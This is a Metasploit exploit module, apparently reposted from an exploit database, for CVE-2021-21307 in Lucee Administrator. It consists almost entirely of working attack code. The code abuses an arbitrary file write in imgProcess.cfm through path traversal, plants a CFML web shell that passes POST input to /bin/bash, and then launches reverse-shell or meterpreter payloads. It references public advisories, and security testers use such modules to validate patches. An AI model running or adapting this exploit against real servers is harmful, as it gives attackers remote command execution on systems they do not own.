Share
## https://sploitus.com/exploit?id=PACKETSTORM:163864
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',  
'Description' => %q{  
This module exploits an arbitrary file write in Lucee Administrator's  
imgProcess.cfm file to execute commands as the Tomcat user.  
},  
'Author' => [  
'rootxharsh', # Discovery and PoC  
'iamnoooob', # Discovery and PoC  
'wvu' # Exploit  
],  
'References' => [  
['CVE', '2021-21307'],  
['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],  
['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],  
['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']  
],  
'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'], # TODO: Windows?  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false, # Tomcat user  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8888  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
# /opt/lucee/server/lucee-server/context/logs/application.log  
# /opt/lucee/web/logs/exception.log  
IOC_IN_LOGS,  
# /opt/lucee/web/temp/admin-ext-thumbnails/__/  
# /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/lucee'])  
])  
  
register_advanced_options([  
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])  
])  
end  
  
def check  
# NOTE: This doesn't actually write a file  
res = write_file(rand_text_alphanumeric(8..16), nil)  
  
return CheckCode::Unknown unless res  
  
unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist")  
return CheckCode::Safe  
end  
  
CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')  
end  
  
def exploit  
print_status("Writing CFML stub: #{full_uri(cfml_uri)}")  
  
unless write_cfml_stub  
fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')  
end  
  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def write_cfml_stub  
# XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/  
res = write_file('/.', '')  
  
# Leak directory traversal base path from 500 response  
unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body  
return false  
end  
  
register_dir_for_cleanup(base_path)  
  
cfml_path = "/../../../context/#{cfml_filename}"  
  
res = write_file(cfml_path, cfml_stub)  
  
return false unless res&.code == 200  
  
register_file_for_cleanup(normalize_uri(base_path, cfml_path))  
  
true  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status(cmd)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => cfml_uri,  
'vars_post' => {  
cfml_param => cmd  
}  
}, datastore['CmdExecTimeout'])  
  
return unless res  
  
fail_with(Failure::PayloadFailed, cmd) unless res.code == 200  
  
vprint_line(res.body)  
end  
  
def write_file(name, contents)  
opts = {  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')  
}  
  
opts['vars_get'] = { 'file' => name } if name  
opts['vars_post'] = { 'imgSrc' => contents } if contents  
  
send_request_cgi(opts)  
end  
  
def cfml_stub  
# https://cfdocs.org/cfscript  
# https://cfdocs.org/cfexecute  
<<~CFML.gsub(/^\s+/, '').tr("\n", '')  
<cfscript>  
cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]);  
</cfscript>  
CFML  
end  
  
def cfml_uri  
normalize_uri(target_uri.path, cfml_filename)  
end  
  
def cfml_param  
@cfml_param ||= rand_text_alphanumeric(8..16)  
end  
  
def cfml_filename  
@cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm"  
end  
  
end